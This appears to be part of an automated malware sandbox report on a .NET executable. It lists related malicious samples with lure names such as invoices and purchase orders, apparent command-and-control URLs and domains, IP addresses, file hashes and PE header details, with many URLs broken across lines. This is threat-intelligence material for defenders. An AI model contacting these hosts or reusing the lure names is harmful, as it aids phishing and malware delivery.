55EGVYP5nw
n6UKaNruX/
4AMFbR5eug
GoFi+RSiFi
9xq+Sc4S/7
LJuL4z/Dr9
qXrGtmj&Dx
lpd=2dmp

kgozmovHpY.exe Get hash malicious Browse  www.welln
esssensati
on.com/bw82/?
6l=455E
GVYP5nwn6U
KaNruX/4AM
FbR5eugGoF
i+RSiFi9xq
+Sc4S/7LJu
L4z/DBianr
Cvuj&SX=cl
xhAzZHuDkt

Quotation.exe Get hash malicious Browse  www.zxr.x
yz/uidr/?b
6=OIh+/TUG
YtHkksmH1N
ubrXk8ZEC8
3cFB3oCTZk
ko6fyplAOA
g6boTSOjLe
rGQzPy4DZG
&DbG=_DKdFj

9j4sD6PmsW.exe Get hash malicious Browse  www.ztn.x
yz/kre/?aR-
8_FK0=/Om
eH08klj8Em
b5cHiqJz2S
TBy0Ye9mrU
8ZXiQwG4Le
QOsMJ7GfY8
GRhQFFllHE
DttjP&UlPt
=DVohLl3xO
rmlMF

Q6h03zxheA.exe Get hash malicious Browse  www.digit
alqe.com/o8na/?
j2JxtP=th2X0/zI
HqAtzslZcA
rG5kD1owa9
skBHDkLykK
de96nSElty
U3QCQBf29o
lgqEuVXAq8
&wXR=OZQhZV

PO 213409701.xlsx Get hash malicious Browse  www.staff
fully.com/oean/?
rFQt
=+9WAEfQHy
u5DxAQ+gad
jC39SRpvqs
9f27bZYIVY
/K0MRnG/DH
k6SppnSAP7
rKZznuiHEQ
w==&rF=9rbPKz

rwo02135.xls Get hash malicious Browse  www.bsf.x
yz/krc/?L4
rX=oSG3T25
l4/YAqNLHP
cXBvI98o2n
2iP7ZIEME4
K1keiBsyMf
j22gUNUGLu
0VeX478xno
fWA==&mJE=
DR-0XxipH

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/266233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266233/html/none?idtype=webid
https://view.joesandbox.com/analysis/265787/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265787/html/none?idtype=webid
https://view.joesandbox.com/analysis/265207/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265207/html/none?idtype=webid
https://view.joesandbox.com/analysis/265114/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265114/html/none?idtype=webid
https://view.joesandbox.com/analysis/263385/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263385/html/none?idtype=webid
https://view.joesandbox.com/analysis/262639/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262639/html/none?idtype=webid
https://view.joesandbox.com/analysis/261518/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261518/html/none?idtype=webid


Payment Advice_Pdf.exe Get hash malicious Browse  www.commi
ssary.xyz/dll/?
TlW8=
GvPH&aR-87
Pm8=ULdTyt
qf2rQ7ZVck
iKmBlBuvsR
DYK7PoxU+B
UyJc8vuwhB
atel9ZbpqK
UJ6SnOHYH2D/

d6DdOfC2CX.exe Get hash malicious Browse  www.staff
fully.com/oean/?
8pgP
iXdx=+9WAE
fQCyp5HxQc
yiadjC39SR
pvqs9f27bB
IUWE+OUMQn
3TFA0re/tf
QDqX9OJ3Ul
ha0&a48=tX
IxBnA8MdXL_

hkcmd.exe Get hash malicious Browse  www.welln
esssensati
on.com/bw82/?
FVWl=45
5EGVYP5nwn
6UKaNruX/4
AMFbR5eugG
oFi+RSiFi9
xq+Sc4S/7L
JuL4z/Dr9q
XrGtmj&AlO
=O2MtmfRxc

WlBvCPCRcs.exe Get hash malicious Browse  www.staff
fully.com/oean/?
YV8h-
V18=+9WAE
fQCyp5HxQc
yiadjC39SR
pvqs9f27bB
IUWE+OUMQn
3TFA0re/tf
QDqXXR5HUh
jS0&BBZ=Ox
lhVXB8mRxx4

Sf6jgQc6Ww.exe Get hash malicious Browse  www.staff
fully.com/oean/?
DvjT
U=+9WAEfQC
yp5HxQcyia
djC39SRpvq
s9f27bBIUW
E+OUMQn3TF
A0re/tfQDq
X9OJ3Ulha0
&5j=UjPt

gPGTcEMoM1.exe Get hash malicious Browse  www.welln
esssensati
on.com/bw82/?
W6=455E
GVYP5nwn6U
KaNruX/4AM
FbR5eugGoF
i+RSiFi9xq
+Sc4S/7LJu
L4z/DBianr
Cvuj&odeTY
=cnxhAP6x

INGNhYonmgtGZ9Updf.exe Get hash malicious Browse  www.telem
edicineham
ilton.com/ur06/?
nt=ztK245chmnI
ywpDGI4ek/
D+nW6cQvNz
YzIHlYN6Ep
FuBe4trEXs
3pNZL9gyKq
ZCfJgWX&2d
=9rm4l4y

Match Associated Sample Name / URL SHA 256 Detection Link Context
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https://view.joesandbox.com/analysis/261502/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261502/html/none?idtype=webid
https://view.joesandbox.com/analysis/261029/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261029/html/none?idtype=webid
https://view.joesandbox.com/analysis/260436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260436/html/none?idtype=webid
https://view.joesandbox.com/analysis/260328/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260328/html/none?idtype=webid
https://view.joesandbox.com/analysis/259330/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259330/html/none?idtype=webid
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid
https://view.joesandbox.com/analysis/258082/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258082/html/none?idtype=webid


SecuriteInfo.com.generic.ml.exe Get hash malicious Browse  www.qprem
odeling.co
m/kna/?xPI
XBzFp=NoCf
ivEV1PLdrp
8eYMZxLhQh
AzIcUx+gSu
DkoGiYoCEo
gO380D4Agw
8IcsOOecu5
pw3i&tXxh=
J69Hp

hmH9ZhBQFD.exe Get hash malicious Browse  www.welln
esssensati
on.com/bw82/?
AjR=455
EGVYP5nwn6
UKaNruX/4A
MFbR5eugGo
Fi+RSiFi9x
q+Sc4S/7LJ
uL4z/DBian
rCvuj&ndnDnN=-
Zh4gtKhzFrx

pY5XEdTwX7.exe Get hash malicious Browse  www.digit
alqe.com/o8na/?
pPc=t
h2X0/zIHqA
tzslZcArG5
kD1owa9skB
HDkLykKde9
6nSEltyU3Q
CQBf29olK1
0eVTCi8&Hp
q=V6AHdRq0
KFzPzJ

inv.exe Get hash malicious Browse  www.downd
epot.com/hko6/?
nt=mX
CqokiU7aah
y2Tl94RpXo
HD4B1ok0f4
qPPHxvq4K0
GXA9n2t69x
dHGs0dxLYq
q3E6R+&sPX
L3H=mnRly2
QHp2o8

PRS TT copy_pdf.exe Get hash malicious Browse  www.globa
lefactory.
com/s9zh/?
uzul2=cfAP
3dhEcu1Vi8
J1aoBKUOXr
i8rpYHK2f4
rCuERqPTnz
LwFEaC7qLW
EHuEMA0ziq
3rYS&Oj9XR
V=9rXLsjgpIh1

SKM_C36821010708320.exe Get hash malicious Browse  www.eheal
thla.com/6bu2/?
_FNlY
B=94KbLiUg
Y8wWwYGUmi
NR7bnZsaGP
nSdzNXNbmn
a93NLOwX7q
Mp/QzDnFT9
WUG3fulNFR
&qRu=rTvta
raPvhs45

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

www.wellnesssensation.com CMahQwuvAE.exe Get hash malicious Browse 52.128.23.153

kgozmovHpY.exe Get hash malicious Browse 52.128.23.153

hkcmd.exe Get hash malicious Browse 52.128.23.153

gPGTcEMoM1.exe Get hash malicious Browse 52.128.23.153

hmH9ZhBQFD.exe Get hash malicious Browse 52.128.23.153

2021 Additional Agreement.exe Get hash malicious Browse 52.128.23.153

Domains
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https://view.joesandbox.com/analysis/257475/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257475/html/none?idtype=webid
https://view.joesandbox.com/analysis/257254/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257254/html/none?idtype=webid
https://view.joesandbox.com/analysis/256134/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256134/html/none?idtype=webid
https://view.joesandbox.com/analysis/255784/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255784/html/none?idtype=webid
https://view.joesandbox.com/analysis/255053/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255053/html/none?idtype=webid
https://view.joesandbox.com/analysis/254811/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254811/html/none?idtype=webid
https://view.joesandbox.com/analysis/266233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266233/html/none?idtype=webid
https://view.joesandbox.com/analysis/265787/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265787/html/none?idtype=webid
https://view.joesandbox.com/analysis/260436/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260436/html/none?idtype=webid
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid
https://view.joesandbox.com/analysis/257254/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257254/html/none?idtype=webid
https://view.joesandbox.com/analysis/252210/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252210/html/none?idtype=webid


wDMBDrN663.exe Get hash malicious Browse 52.128.23.153

KYC - 17DEC.xlsx Get hash malicious Browse 52.128.23.153

NEW ORDER 15DEC.xlsx Get hash malicious Browse 52.128.23.153

uM87pWnV44.exe Get hash malicious Browse 52.128.23.153

Xqgvj3afT1.exe Get hash malicious Browse 52.128.23.153

at3nJkOFqF.exe Get hash malicious Browse 52.128.23.153

www.thebabyfriendly.com 7R29qUuJef.exe Get hash malicious Browse 154.80.226.18

kgozmovHpY.exe Get hash malicious Browse 154.80.226.18

2S6VUd960E.exe Get hash malicious Browse 154.80.226.18

gPGTcEMoM1.exe Get hash malicious Browse 154.80.226.18

NEW AGREEMENT 2021.xlsx Get hash malicious Browse 154.80.226.18

NEW AGREEMENT 19 01 2021.xlsx Get hash malicious Browse 154.80.226.18

u6uz950JO1.exe Get hash malicious Browse 154.80.226.18

n1W2zlEddS.exe Get hash malicious Browse 154.80.226.18

28zrX5JJmg.exe Get hash malicious Browse 108.62.32.237

DEC 12-08 Wire.xlsx Get hash malicious Browse 108.62.32.237

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

GOOGLEUS ORDER SPECIFICATIONS.exe Get hash malicious Browse 34.102.136.180

crypted.exe Get hash malicious Browse 216.239.32.21

NewOrder.xlsm Get hash malicious Browse 34.102.136.180

Order_20180218001.exe Get hash malicious Browse 34.102.136.180

22 FEB -PROCESSING.xlsx Get hash malicious Browse 34.102.136.180

SOA.exe Get hash malicious Browse 35.186.238.101

ORDER LIST.xlsx Get hash malicious Browse 34.102.136.180

File Downloader [14.5].apk Get hash malicious Browse 142.250.186.74

PO_210222.exe Get hash malicious Browse 34.102.136.180

Order83930.exe Get hash malicious Browse 34.102.136.180

unmapped_executable_of_polyglot_duke.dll Get hash malicious Browse 216.239.32.21

GUEROLA INDUSTRIES N#U00ba de cuenta.exe Get hash malicious Browse 142.250.186.33

DHL eInvoice_Pdf.exe Get hash malicious Browse 34.102.136.180

AWB-INVOICE_PDF.exe Get hash malicious Browse 34.102.136.180

xerox for hycite.htm Get hash malicious Browse 142.250.186.33

rad875FE.tmp.exe Get hash malicious Browse 34.102.136.180

SecuriteInfo.com.Trojan.Inject4.6572.17143.exe Get hash malicious Browse 34.102.136.180

IMG_61061_SCANNED.doc Get hash malicious Browse 35.200.172.247

X1(1).xlsm Get hash malicious Browse 142.250.186.66

IMG_6078_SCANNED.doc Get hash malicious Browse 35.200.172.247

SQUARESPACEUS PO-29840032.exe Get hash malicious Browse 198.49.23.145

IMG_01670_Scanned.doc Get hash malicious Browse 198.49.23.144

210222 Po No 10921-01.exe Get hash malicious Browse 198.49.23.144

Shinshin Machinery.exe Get hash malicious Browse 198.49.23.145

CMahQwuvAE.exe Get hash malicious Browse 198.49.23.144

SHED.EXE Get hash malicious Browse 198.185.15
9.144

wFzMy6hehS.exe Get hash malicious Browse 198.49.23.145

INCHAP_Invoice_21.xlsx Get hash malicious Browse 198.49.23.145

4vnTrjsACd.rtf Get hash malicious Browse 198.185.15
9.144

Credit Card & Booking details.exe Get hash malicious Browse 198.185.15
9.145

q9xB9DE3RA.exe Get hash malicious Browse 198.49.23.144

po.exe Get hash malicious Browse 198.185.15
9.145

FEB_2021.EXE Get hash malicious Browse 198.185.15
9.144

2H2JIKQ8tN.exe Get hash malicious Browse 198.49.23.145

Shipping Doc.exe Get hash malicious Browse 198.185.15
9.145

NNFYMCVABc.exe Get hash malicious Browse 198.185.15
9.144

NdxPGuzTB9.exe Get hash malicious Browse 198.185.15
9.145

pfjgWtj6ms.exe Get hash malicious Browse 198.49.23.144

ASN
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https://view.joesandbox.com/analysis/251765/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251765/html/none?idtype=webid
https://view.joesandbox.com/analysis/249128/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/249128/html/none?idtype=webid
https://view.joesandbox.com/analysis/248632/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248632/html/none?idtype=webid
https://view.joesandbox.com/analysis/247985/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247985/html/none?idtype=webid
https://view.joesandbox.com/analysis/247949/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/247949/html/none?idtype=webid
https://view.joesandbox.com/analysis/246236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246236/html/none?idtype=webid
https://view.joesandbox.com/analysis/266730/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266730/html/none?idtype=webid
https://view.joesandbox.com/analysis/265787/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265787/html/none?idtype=webid
https://view.joesandbox.com/analysis/260076/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260076/html/none?idtype=webid
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258113/html/none?idtype=webid
https://view.joesandbox.com/analysis/257251/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257251/html/none?idtype=webid
https://view.joesandbox.com/analysis/256467/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256467/html/none?idtype=webid
https://view.joesandbox.com/analysis/255280/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255280/html/none?idtype=webid
https://view.joesandbox.com/analysis/254875/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/254875/html/none?idtype=webid
https://view.joesandbox.com/analysis/248192/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/248192/html/none?idtype=webid
https://view.joesandbox.com/analysis/246140/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/246140/html/none?idtype=webid
https://view.joesandbox.com/analysis/267190/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267190/html/none?idtype=webid
https://view.joesandbox.com/analysis/267179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267179/html/none?idtype=webid
https://view.joesandbox.com/analysis/267168/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267168/html/none?idtype=webid
https://view.joesandbox.com/analysis/267160/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267160/html/none?idtype=webid
https://view.joesandbox.com/analysis/267157/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267157/html/none?idtype=webid
https://view.joesandbox.com/analysis/267155/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267155/html/none?idtype=webid
https://view.joesandbox.com/analysis/267150/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267150/html/none?idtype=webid
https://view.joesandbox.com/analysis/267108/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267108/html/none?idtype=webid
https://view.joesandbox.com/analysis/267085/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267085/html/none?idtype=webid
https://view.joesandbox.com/analysis/267064/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267064/html/none?idtype=webid
https://view.joesandbox.com/analysis/267063/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267063/html/none?idtype=webid
https://view.joesandbox.com/analysis/267007/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267007/html/none?idtype=webid
https://view.joesandbox.com/analysis/266998/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266998/html/none?idtype=webid
https://view.joesandbox.com/analysis/266992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266992/html/none?idtype=webid
https://view.joesandbox.com/analysis/266987/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266987/html/none?idtype=webid
https://view.joesandbox.com/analysis/266950/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266950/html/none?idtype=webid
https://view.joesandbox.com/analysis/266947/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266947/html/none?idtype=webid
https://view.joesandbox.com/analysis/266896/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266896/html/none?idtype=webid
https://view.joesandbox.com/analysis/266895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266895/html/none?idtype=webid
https://view.joesandbox.com/analysis/266894/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266894/html/none?idtype=webid
https://view.joesandbox.com/analysis/267156/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267156/html/none?idtype=webid
https://view.joesandbox.com/analysis/266867/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266867/html/none?idtype=webid
https://view.joesandbox.com/analysis/266678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266678/html/none?idtype=webid
https://view.joesandbox.com/analysis/266255/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266255/html/none?idtype=webid
https://view.joesandbox.com/analysis/266233/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266233/html/none?idtype=webid
https://view.joesandbox.com/analysis/266189/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266189/html/none?idtype=webid
https://view.joesandbox.com/analysis/265834/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265834/html/none?idtype=webid
https://view.joesandbox.com/analysis/265800/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265800/html/none?idtype=webid
https://view.joesandbox.com/analysis/265723/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265723/html/none?idtype=webid
https://view.joesandbox.com/analysis/265320/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265320/html/none?idtype=webid
https://view.joesandbox.com/analysis/265301/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265301/html/none?idtype=webid
https://view.joesandbox.com/analysis/264530/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264530/html/none?idtype=webid
https://view.joesandbox.com/analysis/264078/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/264078/html/none?idtype=webid
https://view.joesandbox.com/analysis/263895/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263895/html/none?idtype=webid
https://view.joesandbox.com/analysis/263868/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263868/html/none?idtype=webid
https://view.joesandbox.com/analysis/263365/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263365/html/none?idtype=webid
https://view.joesandbox.com/analysis/263323/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263323/html/none?idtype=webid
https://view.joesandbox.com/analysis/263223/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263223/html/none?idtype=webid


Static File Info

q2o0a1neTm.exe Get hash malicious Browse 198.185.15
9.144

Order 8953-PDF.exe Get hash malicious Browse 198.49.23.144

DOSARRESTUS CMahQwuvAE.exe Get hash malicious Browse 52.128.23.153

kgozmovHpY.exe Get hash malicious Browse 52.128.23.153

Quotation.exe Get hash malicious Browse 52.128.23.153

9j4sD6PmsW.exe Get hash malicious Browse 52.128.23.153

Q6h03zxheA.exe Get hash malicious Browse 52.128.23.153

PO 213409701.xlsx Get hash malicious Browse 52.128.23.153

rwo02135.xls Get hash malicious Browse 52.128.23.153

Payment Advice_Pdf.exe Get hash malicious Browse 52.128.23.153

d6DdOfC2CX.exe Get hash malicious Browse 52.128.23.153

hkcmd.exe Get hash malicious Browse 52.128.23.153

WlBvCPCRcs.exe Get hash malicious Browse 52.128.23.153

Sf6jgQc6Ww.exe Get hash malicious Browse 52.128.23.153

gPGTcEMoM1.exe Get hash malicious Browse 52.128.23.153

INGNhYonmgtGZ9Updf.exe Get hash malicious Browse 52.128.23.153

SecuriteInfo.com.generic.ml.exe Get hash malicious Browse 52.128.23.153

hmH9ZhBQFD.exe Get hash malicious Browse 52.128.23.153

pY5XEdTwX7.exe Get hash malicious Browse 52.128.23.153

inv.exe Get hash malicious Browse 52.128.23.153

PRS TT copy_pdf.exe Get hash malicious Browse 52.128.23.153

SKM_C36821010708320.exe Get hash malicious Browse 52.128.23.153

Match Associated Sample Name / URL SHA 256 Detection Link Context

No context

No context

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vBugmobiJh.exe.log

Process: C:\Users\user\Desktop\vBugmobiJh.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1314

Entropy (8bit): 5.350128552078965

Encrypted: false

SSDEEP: 24:MLU84jE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4sAmEw:MgvjHK5HKXE1qHiYHKhQnoPtHoxHhAHR

MD5: 1DC1A2DCC9EFAA84EABF4F6D6066565B

SHA1: B7FCF805B6DD8DE815EA9BC089BD99F1E617F4E9

SHA-256: 28D63442C17BF19558655C88A635CB3C3FF1BAD1CCD9784090B9749A7E71FCEF

SHA-512: 95DD7E2AB0884A3EFD9E26033B337D1F97DDF9A8E9E9C4C32187DCD40622D8B1AC8CCDBA12A70A6B9075DF5E7F68DF2F8FBA4AB33DB4576BE9806B8E191802
B7

Malicious: true

Reputation: high, very likely benign file

Preview:
1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, 
Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Wind
ows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, 
PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeIma
ges_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, Publi
cKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration
.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a

JA3 Fingerprints

Dropped Files

Created / dropped Files
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General
File type: PE32 executable (GUI) Intel 80386 Mono/.Net assemb

ly, for MS Windows

Entropy (8bit): 7.409707473737011

TrID: Win32 Executable (generic) Net Framework 
(10011505/4) 49.80%
Win32 Executable (generic) a (10002005/4) 
49.75%
Generic CIL Executable (.NET, Mono, etc.) 
(73296/58) 0.36%
Windows Screen Saver (13104/52) 0.07%
Generic Win/DOS Executable (2004/3) 0.01%

File name: vBugmobiJh.exe

File size: 484864

MD5: 5b59e521935e56a03255623df51c1631

SHA1: b6714751ef5127dd84bed782a30eb44b7add8813

SHA256: e6370f5f39e8e3d7a2506659786deadd1fe5ce8208cb2b6
bf7748b6637a3b793

SHA512: 8d0717bce547dadb138b4f72a6219ea64cd3d07d790e4f1
f5a7cec2d45cb280e0edcb6d286735ae6d539607ba8f750
21b73913a37a1e23d9ba2e1e1c68bf6453

SSDEEP: 12288:NkYb2AUt9fvqbzYInHoSlujCXLpp1PFmPAtIeA5
e13:9bif6zYMISl7tNmPMIza3

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$.......PE..L...,.
4`..............P..R...........p... ........@.. .................................
...@................................

File Icon

Icon Hash: 00828e8e8686b000

General
Entrypoint: 0x4770f6

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Image File Characteristics: 32BIT_MACHINE, EXECUTABLE_IMAGE

DLL Characteristics: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Time Stamp: 0x6034A02C [Tue Feb 23 06:26:52 2021 UTC]

TLS Callbacks:

CLR (.Net) Version: v4.0.30319

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: f34d5f2d4577ed6d9ceec516c1f5a744

Instruction

jmp dword ptr [00402000h]

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Static PE Info

Entrypoint Preview

Copyright null 2021 Page 28 of 47



add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Instruction
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add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

add byte ptr [eax], al

Instruction

Name Virtual Address Virtual Size Is in Section

IMAGE_DIRECTORY_ENTRY_EXPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IMPORT 0x770a4 0x4f .text

IMAGE_DIRECTORY_ENTRY_RESOURCE 0x78000 0x1000 .rsrc

IMAGE_DIRECTORY_ENTRY_EXCEPTION 0x0 0x0

IMAGE_DIRECTORY_ENTRY_SECURITY 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BASERELOC 0x7a000 0xc .reloc

IMAGE_DIRECTORY_ENTRY_DEBUG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COPYRIGHT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_GLOBALPTR 0x0 0x0

IMAGE_DIRECTORY_ENTRY_TLS 0x0 0x0

IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG 0x0 0x0

IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_IAT 0x2000 0x8 .text

IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT 0x0 0x0

IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR 0x2008 0x48 .text

IMAGE_DIRECTORY_ENTRY_RESERVED 0x0 0x0

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x2000 0x750fc 0x75200 False 0.75252009405 data 7.42173467133 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.rsrc 0x78000 0x1000 0x1000 False 0.402587890625 data 5.01180684458 IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

.reloc 0x7a000 0xc 0x200 False 0.044921875 data 0.101910425663 IMAGE_SCN_CNT_INITIALIZED_D
ATA, 
IMAGE_SCN_MEM_DISCARDABLE
, IMAGE_SCN_MEM_READ

Name RVA Size Type Language Country

RT_VERSION 0x78090 0x34c data

RT_MANIFEST 0x783ec 0xc0f XML 1.0 document, UTF-8 Unicode (with BOM) text

DLL Import

mscoree.dll _CorExeMain

Data Directories

Sections

Resources

Imports
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Snort IDS Alerts

Network Port Distribution

Total Packets: 99

• 53 (DNS)

• 80 (HTTP)

Description Data

Translation 0x0000 0x04b0

LegalCopyright Copyright   2018

Assembly Version 1.0.0.0

InternalName KerbLogonSubmitType.exe

FileVersion 1.0.0.0

